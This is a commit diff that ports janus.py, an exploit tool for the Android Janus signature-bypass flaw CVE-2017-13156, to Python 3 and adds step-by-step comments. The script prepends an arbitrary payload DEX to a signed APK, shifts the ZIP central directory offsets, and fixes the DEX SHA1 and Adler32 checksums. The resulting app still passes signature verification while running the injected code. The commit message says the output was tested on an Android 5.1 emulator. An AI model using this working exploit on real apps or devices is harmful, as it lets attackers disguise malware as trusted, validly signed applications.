Now works on Python 3.6+

CVE-2017-13156/janus.py

@@ -5,14 +5,38 @@
 import hashlib
 from zlib import adler32
 
+__author__ = 'V-E-O'
+__github__ = 'https://github.com/V-E-O'
+
+
+'''
+Edited by Disane @ https://github.com/Disane
++ Added commentary
++ Ported code to execute on Python 3.6.1+:
+    + memoryview used to calculate adler32 checksum
+    + end of central directory magic bytes are now passed to rfind() as bytes
+    instead of strings
++ Tested resulting APK on emulator AOSP Android OS ver. 5.1 x86-64
+  and it works!
+'''
+
+
 def update_checksum(data):
+    # acquire SHA1 algo
     m = hashlib.sha1()
     m.update(data[32:])
+    # patch SHA1 inside prepended DEX
     data[12:12+20] = m.digest()
 
-    v = adler32(buffer(data[12:])) & 0xffffffff
+    # pass everything (except for the DEX header and Adler32 section) 
+    # of the payload DEX to the Adler32 checksum algo
+    # mask to cut down anything past 32 bits
+    v = adler32(memoryview(data[12:])) & 0xffffffff
+    # convert Adler32 result to little endian 
+    # and write it back into the payload
     data[8:12] = struct.pack("<L", v)
 
+
 def main():
     if len(sys.argv) != 4:
         print("usage: %s dex apk out_apk" % __file__)
@@ -21,32 +45,53 @@ def main():
     _, dex, apk, out_apk = sys.argv
 
     with open(dex, 'rb') as f:
+        # read payload DEX as a ByteArray
         dex_data = bytearray(f.read())
+    # measure payload DEX content size
     dex_size = len(dex_data)
 
     with open(apk, 'rb') as f:
+        # read terget APK as a ByteArray
         apk_data = bytearray(f.read())
-    cd_end_addr = apk_data.rfind('\x50\x4b\x05\x06')
+    # find index to End of Central Directory -> PK\x05\x06
+    cd_end_addr = apk_data.rfind(b'\x50\x4b\x05\x06')
+    # unpack little endian aligned data 
+    # and look for central directory size in the end of directory
     cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
-    apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)
+    # update the size of the central directory area 
+    # inside the end of central directory by adding the size of the payload DEX
+    apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr + dex_size)
 
+    # find central directory start address 
     pos = cd_start_addr
+    # write new central directory entry
     while (pos < cd_end_addr):
+        # acquire relative offset
         offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]
+        # overwrite relative offset and update it using the payload DEX size
         apk_data[pos+42:pos+46] = struct.pack("<L", offset+dex_size)
-        pos = apk_data.find("\x50\x4b\x01\x02", pos+46, cd_end_addr)
+        # find end of central dir signature: PK\x05\x06
+        pos = apk_data.find(b'\x50\x4b\x01\x02', pos+46, cd_end_addr)
+        # if this there's no end of central dir signature entry
+        # stop patching
         if pos == -1:
             break
 
+    # the payload is added as a new central directory entry 
+    # which will have the payload DEX content in front
+    # while the contents of the APK are written after the payload DEX contents 
     out_data = dex_data + apk_data
+    # acquire SHA1 hash of the DEX file
     out_data[32:36] = struct.pack("<L", len(out_data))
+    # update DEX SHA1 checksum
     update_checksum(out_data)
 
+    # write the new DEX/APK Janus file
     with open(out_apk, "wb") as f:
         f.write(out_data)
 
-    print ('%s generated' % out_apk)
+    print('%s generated' % out_apk)
 
 
 if __name__ == '__main__':
-    main()
+    main()